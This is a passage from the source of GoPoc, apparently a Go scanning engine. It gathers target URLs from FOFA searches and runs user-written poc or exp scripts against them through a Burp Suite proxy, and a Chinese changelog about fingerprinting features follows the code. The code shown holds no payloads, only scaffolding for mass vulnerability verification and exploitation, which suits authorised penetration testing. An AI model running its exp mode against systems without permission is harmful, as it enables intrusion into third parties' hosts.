84 | }
85 | if Core.CheckBalanced(pocStruct.Fofa) {
86 | Log.Log.Fatal("[-] 请检测fofa语句是否正确,着重检查括号是否正确闭合")
87 | }
88 |
89 | if pocModule == 1 {
90 | Core.ForSendByJson(urlsList, pocStruct)
91 | } else if config["mod"] == "poc" || config["mod"] == "" {
92 | Core.ForSendByCode("poc", urlsList, pocStruct)
93 | } else {
94 | Core.ForSendByCode("exp", urlsList, pocStruct)
95 | }
96 | }
97 |
98 | func parseConfigIni() map[string]string {
99 | args := os.Args
100 | if len(args) == 1 {
101 | fmt.Println("使用说明: -ini C:/config.ini\nconfig.ini内容如下:\n\n-email // fofa的email (必须)\n-key // fofa的key (必须)\n-url // 扫单个url (非必须)\n-file // 扫url文件中的每一个url (非必须)\n-vul // poc/exp文件,文件后缀为.go (必须)\n-mod // 指定poc/exp这两种模式 (必须)\n-proxy // burpsuite 代理,用于方便写poc/exp (必须)\n-maxConcurrentLevel // 最大并发量,越大扫描速度越快 (必须)\n-maxFofaSize\t // fofa最大检索数 (必须)")
102 | } else if args[1] != "-ini" {
103 | fmt.Println("[-] 参数错误,例子:\n-email // fofa的email (必须)\n-key // fofa的key (必须)\n-url // 扫单个url (非必须)\n-file // 扫url文件中的每一个url (非必须)\n-vul // poc/exp文件,文件后缀为.go (必须)\n-mod // 指定poc/exp这两种模式 (必须)\n-proxy // burpsuite 代理,用于方便写poc/exp (必须)\n-maxConcurrentLevel // 最大并发量,越大扫描速度越快 (必须)\n-maxFofaSize\t // fofa最大检索数 (必须)")
104 | os.Exit(1)
105 | }
106 | inputIniFile := flag.String("ini", ".\\config.ini", "Input the ini file")
107 | flag.Parse()
108 | config := Handle.HandleIni(*inputIniFile)
109 |
110 | // Determine whether the number of parameters is correct
111 | if !strings.Contains(config["email"], "@") || config["key"] == "" || config["maxFofaSize"] == "" {
112 | fmt.Println("[-] 参数错误,例子:-email // fofa的email (必须)\n-key // fofa的key (必须)\n-url // 扫单个url (非必须)\n-file // 扫url文件中的每一个url (非必须)\n-vul // poc/exp文件,文件后缀为.go (必须)\n-mod // 指定poc/exp这两种模式 (必须)\n-proxy // burpsuite 代理,用于方便写poc/exp (必须)\n-maxConcurrentLevel // 最大并发量,越大扫描速度越快 (必须)\n-maxFofaSize\t // fofa最大检索数 (必须)")
113 | os.Exit(1)
114 | }
115 | return config
116 | }
117 |
118 | func detectionBurpIsOpen(proxyAddress string) {
119 | matches := regexp.MustCompile(`:(\d+)`).FindStringSubmatch(proxyAddress)
120 | if len(matches) < 1 {
121 | Log.Log.Println("[-] 输入的 config 没有找到对应的 -proxy 参数!")
122 | os.Exit(1)
123 | }
124 | conn, err := net.DialTimeout("tcp", strings.Replace(strings.ToLower(proxyAddress), "http://", "", -1), 10*time.Second)
125 | if err != nil {
126 | Log.Log.Println(`[-] Burpsuite是必开项,但你未开启! 你应该在此处: "Burpsuite --> Proxy --> Options --> listeners" 添加或开启一个端口为: ` + matches[1]) // matches[1] 是捕获的端口号部分
127 | os.Exit(1)
128 | }
129 | defer func(conn net.Conn) {
130 | err := conn.Close()
131 | if err != nil {
132 | fmt.Println("[-] 关闭探测 Burpsuite 连接出错")
133 | os.Exit(1)
134 | }
135 | }(conn) // 关闭连接
136 | }
137 |
138 | func getIpAddress() []string {
139 | var ipAddressList []string
140 | config := HttpAbout.NewHttpConfig()
141 | Utils.FullyAutomaticFillingHeader(config, `GET / HTTP/1.1
142 | Host: www.ip111.cn
143 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
144 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
145 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
146 | Accept-Encoding: gzip, deflate
147 | Upgrade-Insecure-Requests: 1
148 | Sec-Fetch-Dest: document
149 | Sec-Fetch-Mode: navigate
150 | Sec-Fetch-Site: none
151 | Sec-Fetch-User: ?1
152 | Priority: u=0, i
153 | Te: trailers
154 | Connection: close`)
155 | config.TimeOut = 60
156 | config.IsRedirect = false
157 | resp, err := HttpAbout.SendHttpRequest(`Http://www.ip111.cn`, config)
158 | if err != nil {
159 | log.Fatal("[-] 获取ip地址失误,请检查你的网络是否正常或者 Http://www.ip111.cn 这个链接是否挂了")
160 | }
161 |
162 | matches := regexp.MustCompile(`\s*(.*?)\s*
`).FindStringSubmatch(resp.Body)
163 |
164 | if len(matches) > 1 { // 国内测试
165 | ipAddressList = append(ipAddressList, matches[1])
166 | }
167 |
168 | Utils.FullyAutomaticFillingHeader(config, `GET /ip.php HTTP/1.1
169 | Host: sspanel.net
170 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
171 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
172 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
173 | Accept-Encoding: gzip, deflate
174 | Referer: https://www.ip111.cn/
175 | Upgrade-Insecure-Requests: 1
176 | Sec-Fetch-Dest: iframe
177 | Sec-Fetch-Mode: navigate
178 | Sec-Fetch-Site: cross-site
179 | Priority: u=4
180 | Te: trailers
181 | Connection: close
182 | `)
183 | resp, err = HttpAbout.SendHttpRequest(`Http://sspanel.net/ip.php`, config)
184 | if err != nil {
185 | fmt.Println("[-] 获取ip地址失误,请检查你的网络是否正常或者 Http://sspanel.net/ip.php 这个链接是否挂了")
186 | } else {
187 | matches = regexp.MustCompile(`(\d{1,3}(?:\.\d{1,3}){3})\s+(\p{Han}+)\s+(\p{Han}+)`).FindStringSubmatch(resp.Body)
188 | }
189 |
190 | if len(matches) > 1 { // 国外测试
191 | ipAddressList = append(ipAddressList, matches[0])
192 | }
193 | Utils.FullyAutomaticFillingHeader(config, `GET /ip.php HTTP/1.1
194 | Host: us.ip111.cn
195 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
196 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
197 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
198 | Accept-Encoding: gzip, deflate
199 | Referer: https://www.ip111.cn/
200 | Upgrade-Insecure-Requests: 1
201 | Sec-Fetch-Dest: iframe
202 | Sec-Fetch-Mode: navigate
203 | Sec-Fetch-Site: same-site
204 | Priority: u=4
205 | Te: trailers
206 | Connection: close
207 | `)
208 |
209 | resp, err = HttpAbout.SendHttpRequest(`Http://us.ip111.cn/ip.php`, config)
210 | if err != nil {
211 | log.Fatal("[-] 获取ip地址失误,请检查你的网络是否正常或者 Http://us.ip111.cn/ip.php 这个链接是否挂了")
212 | }
213 | matches = regexp.MustCompile(`(\d{1,3}(?:\.\d{1,3}){3})\s+(\p{Han}+)\s+(\p{Han}+)`).FindStringSubmatch(resp.Body)
214 |
215 | if len(matches) > 1 { // 从谷歌测试
216 | ipAddressList = append(ipAddressList, matches[0])
217 | }
218 |
219 | return ipAddressList
220 | }
221 |
222 | func main() {
223 | fmt.Println(" ████████ ███████ \n ██░░░░░░██ ░██░░░░██ \n ██ ░░ ██████ ░██ ░██ ██████ █████ \n░██ ██░░░░██░███████ ██░░░░██ ██░░░██\n░██ █████░██ ░██░██░░░░ ░██ ░██░██ ░░ \n░░██ ░░░░██░██ ░██░██ ░██ ░██░██ ██\n ░░████████ ░░██████ ░██ ░░██████ ░░█████ \n ░░░░░░░░ ░░░░░░ ░░ ░░░░░░ ░░░░░ \n\n")
224 | fmt.Println("基于 Json 、自定义Go脚本、fofa的快速验证扫描引擎,可用于快速验证目标是否存在该漏洞或者帮助你优化工作流程 -- TonyD0g")
225 | fmt.Println("[stable] Version 1.6.0")
226 | config := parseConfigIni()
227 | selectModule(config, 5)
228 | Log.Log.Println("\n[+] 扫描结束,如果什么输出链接则说明没有扫出来")
229 | }
230 |
--------------------------------------------------------------------------------
/pic/演示.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TonyD0g/GoPoc/6d0e1eced3cb44cb84fe58574256f79aaebf795b/pic/演示.gif
--------------------------------------------------------------------------------
/更新日志.txt:
--------------------------------------------------------------------------------
1 | 1.6.0 更新日志
2 | - 优化: 优化屎山,使用全局变量代理传参
3 | - 修复: 探测模式的逻辑Bug
4 | - 修复: "报错时不退出当前协程" 存在bug
5 | - 添加: 响应包结构添加原始数据报文属性
6 | - 添加: 添加内置指纹属性: BuiltinFingerprint, 为 true 时不使用用户输入的fofa语句,而是使用 GoPoc 内置的指纹库去跑 【开启后扫描速度变很慢且占用内存变大(因为用多协程去跑,一个协程加载7k个指纹)】
7 | - 添加: 内置指纹7k条
8 | - 添加: 探测模式中,某个url符合多指纹情况下,将所有的指纹输出
9 | - 修复: 探测模式的一堆bug,但还有Bug
10 |
11 | 更新计划:
12 | - 支持其他协议,不局限于http/https (遇到再说,这种情况太少了)
13 | - 添加一个全局的计数器,用于输出扫描结果的数量 (需求不大)git
14 | - 探测模式中,需要对url添加一些常用的主页面,如index.php/index.jsp/index.html等
15 |
16 |
17 |
18 |
19 |
--------------------------------------------------------------------------------